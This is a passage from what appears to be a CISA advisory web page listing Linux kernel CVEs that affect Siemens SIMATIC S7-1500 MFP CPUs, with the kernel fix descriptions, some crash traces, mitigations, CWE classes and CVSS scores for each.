<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31431</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31431">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/669.html">CWE-669 Incorrect Resource Transfer Between Spheres</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31441</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: idxd: Fix memory leak when a wq is reset idxd_wq_disable_cleanup() which is called from the reset path for a workqueue, sets the wq type to NONE, which for other parts of the driver mean that the wq is empty (all its resources were released). Only set the wq type to NONE after its resources are released.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31441">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31446</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: fix use-after-free in update_super_work when racing with umount Commit b98535d09179 ("ext4: fix bug_on in start_this_handle during umount filesystem") moved ext4_unregister_sysfs() before flushing s_sb_upd_work to prevent new error work from being queued via /proc/fs/ext4/xx/mb_groups reads during unmount. However, this introduced a use-after-free because update_super_work calls ext4_notify_error_sysfs() -&gt; sysfs_notify() which accesses the kobject's kernfs_node after it has been freed by kobject_del() in ext4_unregister_sysfs(): update_super_work ext4_put_super ----------------- -------------- ext4_unregister_sysfs(sb) kobject_del(&amp;sbi-&gt;s_kobj) __kobject_del() sysfs_remove_dir() kobj-&gt;sd = NULL sysfs_put(sd) kernfs_put() // RCU free ext4_notify_error_sysfs(sbi) sysfs_notify(&amp;sbi-&gt;s_kobj) kn = kobj-&gt;sd // stale pointer kernfs_get(kn) // UAF on freed kernfs_node ext4_journal_destroy() flush_work(&amp;sbi-&gt;s_sb_upd_work) Instead of reordering the teardown sequence, fix this by making ext4_notify_error_sysfs() detect that sysfs has already been torn down by checking s_kobj.state_in_sysfs, and skipping the sysfs_notify() call in that case. A dedicated mutex (s_error_notify_mutex) serializes ext4_notify_error_sysfs() against kobject_del() in ext4_unregister_sysfs() to prevent TOCTOU races where the kobject could be deleted between the state_in_sysfs check and the sysfs_notify() call.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31446">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31447</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: reject mount if bigalloc with s_first_data_block != 0 bigalloc with s_first_data_block != 0 is not supported, reject mounting it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31447">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31448</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: avoid infinite loops caused by residual data On the mkdir/mknod path, when mapping logical blocks to physical blocks, if inserting a new extent into the extent tree fails (in this example, because the file system disabled the huge file feature when marking the inode as dirty), ext4_ext_map_blocks() only calls ext4_free_blocks() to reclaim the physical block without deleting the corresponding data in the extent tree. This causes subsequent mkdir operations to reference the previously reclaimed physical block number again, even though this physical block is already being used by the xattr block. Therefore, a situation arises where both the directory and xattr are using the same buffer head block in memory simultaneously. The above causes ext4_xattr_block_set() to enter an infinite loop about "inserted" and cannot release the inode lock, ultimately leading to the 143s blocking problem mentioned in [1]. If the metadata is corrupted, then trying to remove some extent space can do even more harm. Also in case EXT4_GET_BLOCKS_DELALLOC_RESERVE was passed, remove space wrongly update quota information. Jan Kara suggests distinguishing between two cases: 1) The error is ENOSPC or EDQUOT - in this case the filesystem is fully consistent and we must maintain its consistency including all the accounting. However these errors can happen only early before we've inserted the extent into the extent tree. So current code works correctly for this case. 2) Some other error - this means metadata is corrupted. We should strive to do as few modifications as possible to limit damage. So I'd just skip freeing of allocated blocks. [1] INFO: task syz.0.17:5995 blocked for more than 143 seconds. Call Trace: inode_lock_nested include/linux/fs.h:1073 [inline] __start_dirop fs/namei.c:2923 [inline] start_dirop fs/namei.c:2934 [inline]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31448">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.4</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31450</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: publish jinode after initialization ext4_inode_attach_jinode() publishes ei-&gt;jinode to concurrent users. It used to set ei-&gt;jinode before jbd2_journal_init_jbd_inode(), allowing a reader to observe a non-NULL jinode with i_vfs_inode still unset. The fast commit flush path can then pass this jinode to jbd2_wait_inode_data(), which dereferences i_vfs_inode-&gt;i_mapping and may crash. Below is the crash I observe: ``` BUG: unable to handle page fault for address: 000000010beb47f4 PGD 110e51067 P4D 110e51067 PUD 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 1 UID: 0 PID: 4850 Comm: fc_fsync_bench_ Not tainted 6.18.0-00764-g795a690c06a5 #1 PREEMPT(voluntary) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.17.0-2-2 04/01/2014 RIP: 0010:xas_find_marked+0x3d/0x2e0 Code: e0 03 48 83 f8 02 0f 84 f0 01 00 00 48 8b 47 08 48 89 c3 48 39 c6 0f 82 fd 01 00 00 48 85 c9 74 3d 48 83 f9 03 77 63 4c 8b 0f &lt;49&gt; 8b 71 08 48 c7 47 18 00 00 00 00 48 89 f1 83 e1 03 48 83 f9 02 RSP: 0018:ffffbbee806e7bf0 EFLAGS: 00010246 RAX: 000000000010beb4 RBX: 000000000010beb4 RCX: 0000000000000003 RDX: 0000000000000001 RSI: 0000002000300000 RDI: ffffbbee806e7c10 RBP: 0000000000000001 R08: 0000002000300000 R09: 000000010beb47ec R10: ffff9ea494590090 R11: 0000000000000000 R12: 0000002000300000 R13: ffffbbee806e7c90 R14: ffff9ea494513788 R15: ffffbbee806e7c88 FS: 00007fc2f9e3e6c0(0000) GS:ffff9ea6b1444000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000010beb47f4 CR3: 0000000119ac5000 CR4: 0000000000750ef0 PKRU: 55555554 Call Trace: filemap_get_folios_tag+0x87/0x2a0 __filemap_fdatawait_range+0x5f/0xd0 ? srso_alias_return_thunk+0x5/0xfbef5 ? __schedule+0x3e7/0x10c0 ? srso_alias_return_thunk+0x5/0xfbef5 ? srso_alias_return_thunk+0x5/0xfbef5 ? srso_alias_return_thunk+0x5/0xfbef5 ? preempt_count_sub+0x5f/0x80 ? srso_alias_return_thunk+0x5/0xfbef5 ? cap_safe_nice+0x37/0x70 ? srso_alias_return_thunk+0x5/0xfbef5 ? preempt_count_sub+0x5f/0x80 ? srso_alias_return_thunk+0x5/0xfbef5 filemap_fdatawait_range_keep_errors+0x12/0x40 ext4_fc_commit+0x697/0x8b0 ? ext4_file_write_iter+0x64b/0x950 ? srso_alias_return_thunk+0x5/0xfbef5 ? preempt_count_sub+0x5f/0x80 ? srso_alias_return_thunk+0x5/0xfbef5 ? vfs_write+0x356/0x480 ? srso_alias_return_thunk+0x5/0xfbef5 ? preempt_count_sub+0x5f/0x80 ext4_sync_file+0xf7/0x370 do_fsync+0x3b/0x80 ? syscall_trace_enter+0x108/0x1d0 __x64_sys_fdatasync+0x16/0x20 do_syscall_64+0x62/0x2c0 entry_SYSCALL_64_after_hwframe+0x76/0x7e ... ``` Fix this by initializing the jbd2_inode first. Use smp_wmb() and WRITE_ONCE() to publish ei-&gt;jinode after initialization. Readers use READ_ONCE() to fetch the pointer.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31450">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31452</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: convert inline data to extents when truncate exceeds inline size Add a check in ext4_setattr() to convert files from inline data storage to extent-based storage when truncate() grows the file size beyond the inline capacity. This prevents the filesystem from entering an inconsistent state where the inline data flag is set but the file size exceeds what can be stored inline. Without this fix, the following sequence causes a kernel BUG_ON(): 1. Mount filesystem with inode that has inline flag set and small size 2. truncate(file, 50MB) - grows size but inline flag remains set 3. sendfile() attempts to write data 4. ext4_write_inline_data() hits BUG_ON(write_size &gt; inline_capacity) The crash occurs because ext4_write_inline_data() expects inline storage to accommodate the write, but the actual inline capacity (~60 bytes for i_block + ~96 bytes for xattrs) is far smaller than the file size and write request. The fix checks if the new size from setattr exceeds the inode's actual inline capacity (EXT4_I(inode)-&gt;i_inline_size) and converts the file to extent-based storage before proceeding with the size change. This addresses the root cause by ensuring the inline data flag and file size remain consistent during truncate operations.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31452">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31466</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/huge_memory: fix folio isn't locked in softleaf_to_folio() On arm64 server, we found folio that get from migration entry isn't locked in softleaf_to_folio(). This issue triggers when mTHP splitting and zap_nonpresent_ptes() races, and the root cause is lack of memory barrier in softleaf_to_folio(). The race is as follows: CPU0 CPU1 deferred_split_scan() zap_nonpresent_ptes() lock folio split_folio() unmap_folio() change ptes to migration entries __split_folio_to_order() softleaf_to_folio() set flags(including PG_locked) for tail pages folio = pfn_folio(softleaf_to_pfn(entry)) smp_wmb() VM_WARN_ON_ONCE(!folio_test_locked(folio)) prep_compound_page() for tail pages In __split_folio_to_order(), smp_wmb() guarantees page flags of tail pages are visible before the tail page becomes non-compound. smp_wmb() should be paired with smp_rmb() in softleaf_to_folio(), which is missed. As a result, if zap_nonpresent_ptes() accesses migration entry that stores tail pfn, softleaf_to_folio() may see the updated compound_head of tail page before page-&gt;flags. This issue will trigger VM_WARN_ON_ONCE() in pfn_swap_entry_folio() because of the race between folio split and zap_nonpresent_ptes() leading to a folio incorrectly undergoing modification without a folio lock being held. This is a BUG_ON() before commit 93976a20345b ("mm: eliminate further swapops predicates"), which in merged in v6.19-rc1. To fix it, add missing smp_rmb() if the softleaf entry is migration entry in softleaf_to_folio() and softleaf_to_page(). [tujinjiang@huawei.com: update function name and comments]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31466">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/366.html">CWE-366 Race Condition within a Thread</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31469</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: virtio_net: Fix UAF on dst_ops when IFF_XMIT_DST_RELEASE is cleared and napi_tx is false A UAF issue occurs when the virtio_net driver is configured with napi_tx=N and the device's IFF_XMIT_DST_RELEASE flag is cleared (e.g., during the configuration of tc route filter rules). When IFF_XMIT_DST_RELEASE is removed from the net_device, the network stack expects the driver to hold the reference to skb-&gt;dst until the packet is fully transmitted and freed. In virtio_net with napi_tx=N, skbs may remain in the virtio transmit ring for an extended period. If the network namespace is destroyed while these skbs are still pending, the corresponding dst_ops structure has freed. When a subsequent packet is transmitted, free_old_xmit() is triggered to clean up old skbs. It then calls dst_release() on the skb associated with the stale dst_entry. Since the dst_ops (referenced by the dst_entry) has already been freed, a UAF kernel paging request occurs. fix it by adds skb_dst_drop(skb) in start_xmit to explicitly release the dst reference before the skb is queued in virtio_net. Call Trace: Unable to handle kernel paging request at virtual address ffff80007e150000 CPU: 2 UID: 0 PID: 6236 Comm: ping Kdump: loaded Not tainted 7.0.0-rc1+ #6 PREEMPT ... percpu_counter_add_batch+0x3c/0x158 lib/percpu_counter.c:98 (P) dst_release+0xe0/0x110 net/core/dst.c:177 skb_release_head_state+0xe8/0x108 net/core/skbuff.c:1177 sk_skb_reason_drop+0x54/0x2d8 net/core/skbuff.c:1255 dev_kfree_skb_any_reason+0x64/0x78 net/core/dev.c:3469 napi_consume_skb+0x1c4/0x3a0 net/core/skbuff.c:1527 __free_old_xmit+0x164/0x230 drivers/net/virtio_net.c:611 [virtio_net] free_old_xmit drivers/net/virtio_net.c:1081 